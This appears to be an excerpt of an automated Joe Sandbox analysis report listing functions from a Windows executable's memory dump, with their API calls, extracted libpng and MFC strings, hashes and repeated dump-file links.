Instruction Fuzzy Hash: 267290717043619BC320DF66E881B6BB7E9AF84704F84491EF98597341DB38E905CBAA

Function 00436A40 Relevance: 50.0, APIs: 23, Strings: 5, Instructions: 986windowCOMMON

Download Yara Rule

APIs

IsWindowEnabled.USER32(?), ref: 00436A79
TranslateAccelerator.USER32(?,?,?), ref: 00436AD3
IsChild.USER32(?,?), ref: 00436B04
GetFocus.USER32 ref: 00436C5F
PostMessageA.USER32(?,000000A1,00000002,00000000), ref: 00436CE9
PostMessageA.USER32(?,000000A1,00000002,00000000), ref: 00436D58
IsChild.USER32(?,00000000), ref: 00436E01
SendMessageA.USER32(?,00000010,00000000,00000000), ref: 00436DD2

Part of subcall function 0042C240: IsChild.USER32(?,?), ref: 0042C2BD
Part of subcall function 0042C240: GetParent.USER32(?), ref: 0042C2D7

IsWindow.USER32(?), ref: 004376D9

Strings

hlp, xrefs: 0043737D
A, xrefs: 00436FD3
0, xrefs: 00436FC9
9, xrefs: 00436FCE
Z, xrefs: 00436FDC

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: ChildMessage$PostWindow$AcceleratorEnabledFocusParentSendTranslate
String ID: 0$9$A$Z$hlp
API String ID: 3372979518-114186910
Opcode ID: cc07624de710283da077777d18155652022abd0335779889cb142c9c0a7b8769
Instruction ID: 6bccc8281aa61a5601e013feb260cad9bf517dfb1c9fe5e003967f3547927b45
Opcode Fuzzy Hash: cc07624de710283da077777d18155652022abd0335779889cb142c9c0a7b8769
Instruction Fuzzy Hash: 8F72B2B0608342ABDB34DF24C891B6BB7A4AB59304F10592FF985D7381DB78DC45CB6A

Function 00459870 Relevance: 32.8, Strings: 26, Instructions: 305COMMON

Download Yara Rule

Strings

BGR, xrefs: 00459A05
invalid signature, xrefs: 0045999F
unexpected NamedColor ICC profile class, xrefs: 00459AEA
unexpected ICC PCS encoding, xrefs: 00459B4E
RGB color space not permitted on grayscale PNG, xrefs: 00459A30
rncs, xrefs: 00459AFD
invalid rendering intent, xrefs: 0045993D
intent outside defined range, xrefs: 0045995F
Gray color space not permitted on RGB PNG, xrefs: 00459A54
baL, xrefs: 00459B40
rtrp, xrefs: 00459AF6
invalid ICC profile color space, xrefs: 00459A10
invalid embedded Abstract ICC profile, xrefs: 00459AD1
lcmn, xrefs: 00459A90
ZYX, xrefs: 00459B47
tag count too large, xrefs: 00459B74
unexpected DeviceLink ICC profile class, xrefs: 00459AB4
rtnm, xrefs: 00459AA7
YARG, xrefs: 004599FE
unrecognized ICC profile class, xrefs: 00459B0B
psca, xrefs: 00459998
length does not match profile, xrefs: 004598A9
caps, xrefs: 00459B04
tsba, xrefs: 00459A99
knil, xrefs: 00459AA0
PCS illuminant is not D50, xrefs: 004599C4

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID:
String ID: BGR$ ZYX$ baL$Gray color space not permitted on RGB PNG$PCS illuminant is not D50$RGB color space not permitted on grayscale PNG$YARG$caps$intent outside defined range$invalid ICC profile color space$invalid embedded Abstract ICC profile$invalid rendering intent$invalid signature$knil$lcmn$length does not match profile$psca$rncs$rtnm$rtrp$tag count too large$tsba$unexpected DeviceLink ICC profile class$unexpected ICC PCS encoding$unexpected NamedColor ICC profile class$unrecognized ICC profile class
API String ID: 0-319498373
Opcode ID: 024197488a8cce976815880d7dc501dc3a6aabc5f1f32a5dde74957d0fd4b591
Instruction ID: a20abc9408a246300f7cf0a57d8ef26db1272a5f7c9601f99b0ba92183bc1f87
Opcode Fuzzy Hash: 024197488a8cce976815880d7dc501dc3a6aabc5f1f32a5dde74957d0fd4b591
Instruction Fuzzy Hash: 1A9145E3604190A7DB0CCE2D9C929BB779A9BC9302F0D88AAF985CA303D115DD0D8679

Function 004306B0 Relevance: 18.3, APIs: 12, Instructions: 273threadwindownetworkCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 004306D5
IsWindow.USER32(00020402), ref: 004306F1
SendMessageA.USER32(00020402,000083E7,?,00000000), ref: 0043070A
ExitProcess.KERNEL32 ref: 0043071F
FreeLibrary.KERNEL32(?), ref: 00430803
FreeLibrary.KERNEL32 ref: 00430857
DestroyCursor.USER32(000403F5), ref: 004308A7
DestroyCursor.USER32(0001040D), ref: 004308BE
IsWindow.USER32(00020402), ref: 004308D5
DestroyCursor.USER32(?), ref: 00430984
WSACleanup.WS2_32 ref: 004309CF

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: CursorDestroy$FreeLibraryWindow$CleanupCurrentExitMessageProcessSendThread
String ID:
API String ID: 2560087610-0
Opcode ID: 182b4faae696e9380e28a845e81682d8432fbcc6fe2f2bd5738ee2d8288da19c
Instruction ID: a2702e47c903c693d6eb27ab6e7c12b298dcae8d7386c45bc8bd71162350fe86
Opcode Fuzzy Hash: 182b4faae696e9380e28a845e81682d8432fbcc6fe2f2bd5738ee2d8288da19c
Instruction Fuzzy Hash: 6AB16D706007029BD724DF69D8E5B9BB7E4BF48304F50462EE5AA87381DB34BD41CB59

Function 00431BA0 Relevance: 12.9, APIs: 8, Instructions: 865COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID:
API String ID: 2111968516-0
Opcode ID: e076d555b6d699b0f80a7d7ddde4a380d07c3363014576f7dd05c8b811caf970
Instruction ID: 655bbd8f31234e059ec1c5640e72038fe8e21c8c3b164122d2863857e5d58a4b
Opcode Fuzzy Hash: e076d555b6d699b0f80a7d7ddde4a380d07c3363014576f7dd05c8b811caf970
Instruction Fuzzy Hash: 9F6228716043019FC724DF25D981B6BB3E5AFC8314F14462EF98A97341EB78ED068B9A

Function 0044C980 Relevance: 12.1, APIs: 8, Instructions: 88clipboardmemoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000042,?), ref: 0044C9F7
GlobalFix.KERNEL32(00000000), ref: 0044CA13
GlobalUnWire.KERNEL32(00000000), ref: 0044CA35
OpenClipboard.USER32(00000000), ref: 0044CA3D
GlobalFree.KERNEL32(00000000), ref: 0044CA49
EmptyClipboard.USER32 ref: 0044CA51
SetClipboardData.USER32(?,00000000), ref: 0044CA63
CloseClipboard.USER32 ref: 0044CA69

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: ClipboardGlobal$AllocCloseDataEmptyFreeOpenWire
String ID:
API String ID: 3835215632-0
Opcode ID: 28dc8123db8971fe9129875d4a0d8e625c939942c914b5eed15e95c45844e651
Instruction ID: 04a3364ba0d5ab8f23e19f6d63c5916c7f782fbff76fafa1573e950c1c5f5632
Opcode Fuzzy Hash: 28dc8123db8971fe9129875d4a0d8e625c939942c914b5eed15e95c45844e651
Instruction Fuzzy Hash: 0C31B172304201AFD754EF65DC85B2BB7E8EB84714F444A2EF95293391DB38DC058B69

Function 0044CAE0 Relevance: 10.6, APIs: 7, Instructions: 89clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(00000000), ref: 0044CB0D
GetClipboardData.USER32(?), ref: 0044CB26
CloseClipboard.USER32 ref: 0044CB32
GlobalSize.KERNEL32(00000000), ref: 0044CB68
GlobalFix.KERNEL32(00000000), ref: 0044CB70
GlobalUnWire.KERNEL32(00000000), ref: 0044CB88
CloseClipboard.USER32 ref: 0044CB8E

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Clipboard$Global$Close$DataOpenSizeWire
String ID:
API String ID: 1435569668-0
Opcode ID: d54d52dc0cb369b1a712f99f2b3011de1411bfb19a4817633b2633d8b47c2a8a
Instruction ID: b00c627696be08ed1c4305e20a8036ac907b788a45e330fae3813a8ebd10fdc7
Opcode Fuzzy Hash: d54d52dc0cb369b1a712f99f2b3011de1411bfb19a4817633b2633d8b47c2a8a
Instruction Fuzzy Hash: 6C215172201201ABE714DB65EC85E7F77A9EF84355F040A6EF906C3340EB29AD058766

Function 0045C2CD Relevance: 10.5, Strings: 8, Instructions: 498COMMON

Download Yara Rule

Strings

rgb+alpha color-map: too few entries, xrefs: 0045C517
rgb[ga] color-map: too few entries, xrefs: 0045C314
color map overflow (BAD internal error), xrefs: 0045CAB9
rgb[gray] color-map: too few entries, xrefs: 0045C34F
bad data option (internal error), xrefs: 0045CA68
bad background index (internal error), xrefs: 0045CB5F
rgb-alpha color-map: too few entries, xrefs: 0045C5D2
rgb color-map: too few entries, xrefs: 0045C4DC

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID:
String ID: bad background index (internal error)$bad data option (internal error)$color map overflow (BAD internal error)$rgb color-map: too few entries$rgb+alpha color-map: too few entries$rgb-alpha color-map: too few entries$rgb[ga] color-map: too few entries$rgb[gray] color-map: too few entries
API String ID: 0-1509944728
Opcode ID: e9e4038c4e485e3fbdb9217df02fa11bfa550f0d94139021e201affffa4a4f88
Instruction ID: 94122de2dfe52575994a235ebf4431c884856f6c3846ff442ade165f24d61fe0
Opcode Fuzzy Hash: e9e4038c4e485e3fbdb9217df02fa11bfa550f0d94139021e201affffa4a4f88
Instruction Fuzzy Hash: 0102E4716043459FD314DF18D8C1B6BB7E5EB94309F04452EFC889B382E6B9E849C79A

Function 0047CB60 Relevance: 9.1, APIs: 6, Instructions: 55networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000001,00000006), ref: 0047CB7A
htons.WS2_32 ref: 0047CBA5
bind.WS2_32(00000000,?,00000010), ref: 0047CBB7
closesocket.WS2_32(00000000), ref: 0047CBC1
listen.WS2_32(00000000,00000001), ref: 0047CBD1
closesocket.WS2_32(00000000), ref: 0047CBDB

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: closesocket$bindhtonslistensocket
String ID:
API String ID: 2222085642-0
Opcode ID: a2275417633cad3841ef762a461fdbcd31f76f4d249a90f272eb1ad308a04e04
Instruction ID: bd49913e3f1411eccc8c8e4a460beda7cd0b9a8c53a7a39dbbac99581bd02d52
Opcode Fuzzy Hash: a2275417633cad3841ef762a461fdbcd31f76f4d249a90f272eb1ad308a04e04
Instruction Fuzzy Hash: DF0184716187116ADB40EF3A9842A9F7AD5AF84714F404C2FF458E6246E3798109479E

Function 004ADDD2 Relevance: 9.0, Strings: 7, Instructions: 226COMMON

Download Yara Rule

Strings

@, xrefs: 004ADF0A
AfxOleControl42s, xrefs: 004ADE5B
AfxControlBar42s, xrefs: 004ADE7B
AfxFrameOrView42s, xrefs: 004ADEC8
AfxMDIFrame42s, xrefs: 004ADEA3
AfxWnd42s, xrefs: 004ADE3A
@, xrefs: 004ADFA3

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID:
String ID: @$@$AfxControlBar42s$AfxFrameOrView42s$AfxMDIFrame42s$AfxOleControl42s$AfxWnd42s
API String ID: 0-2431135857
Opcode ID: e605bc9acabb2cbee6ca3280d16daef192a511a588046dbdd94042b0dddc835d
Instruction ID: 1f321f1b96fdad3dcc9124759a4a5adece6c2f54fe1b3e3692dca296997aac5e
Opcode Fuzzy Hash: e605bc9acabb2cbee6ca3280d16daef192a511a588046dbdd94042b0dddc835d
Instruction Fuzzy Hash: F2814571D00219AEDB50DFD5C485BDFBFF8AF1A348F11806AF909E6281D7789A44CB94

Function 004AC5BE Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 68COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004AC5F4
wsprintfA.USER32 ref: 004AC610
GetClassInfoA.USER32(?,-00000058,?), ref: 004AC61F

Strings

Afx:%x:%x, xrefs: 004AC5EE
Afx:%x:%x:%x:%x:%x, xrefs: 004AC60A

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: wsprintf$ClassInfo
String ID: Afx:%x:%x$Afx:%x:%x:%x:%x:%x
API String ID: 845911565-79760390
Opcode ID: 4efcdbd2db307e9146a432dc77671c60f7d8d9508917fbb01668f46da4fb5db4
Instruction ID: cda75c0f030dc58e2051df593d1436f34915d279381322b7b842805134e8e352
Opcode Fuzzy Hash: 4efcdbd2db307e9146a432dc77671c60f7d8d9508917fbb01668f46da4fb5db4
Instruction Fuzzy Hash: 5F216D71D0021AAF8B11DF99DC808DF7FB8EF19748B00012BFA04E2201E7389A51CBA9

Function 0045E1A0 Relevance: 8.0, Strings: 6, Instructions: 536COMMON

Download Yara Rule

Strings

lost/gained channels, xrefs: 0045E200
unexpected 8-bit transformation, xrefs: 0045E219
unexpected bit depth, xrefs: 0045E273
unknown interlace type, xrefs: 0045E237
unexpected compose, xrefs: 0045E1E4
lost rgb to gray, xrefs: 0045E1D0

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID:
String ID: lost rgb to gray$lost/gained channels$unexpected 8-bit transformation$unexpected bit depth$unexpected compose$unknown interlace type
API String ID: 0-3614292578
Opcode ID: 666111d577cc8daf6acf44f970995471e29c14de712e89e695bbb40df8176071
Instruction ID: eda8bb5f338ea1f6149af7aa08d4f4ff4b5f31945dbe3c7511db0d80637f566a
Opcode Fuzzy Hash: 666111d577cc8daf6acf44f970995471e29c14de712e89e695bbb40df8176071
Instruction Fuzzy Hash: 0912E7757087458BC718CF19D88066EB7E2BBC8305F44493EFD8997382E639EA49CB46

Function 0047D250 Relevance: 7.5, APIs: 5, Instructions: 39networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000002,00000000), ref: 0047D264
htonl.WS2_32(00000000), ref: 0047D285
htons.WS2_32(?), ref: 0047D293
bind.WS2_32(00000000,00000002,00000010), ref: 0047D2A5
closesocket.WS2_32(00000000), ref: 0047D2AF

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: bindclosesockethtonlhtonssocket
String ID:
API String ID: 118163193-0
Opcode ID: 0cd4060441b932727442887cd9b60630db7e3d0ad59c9ddd6a3ced9669286795
Instruction ID: 0e6cd0f5803114059f67f23426c44f64a73e29d7ad4a5bd381a3547b06218316
Opcode Fuzzy Hash: 0cd4060441b932727442887cd9b60630db7e3d0ad59c9ddd6a3ced9669286795
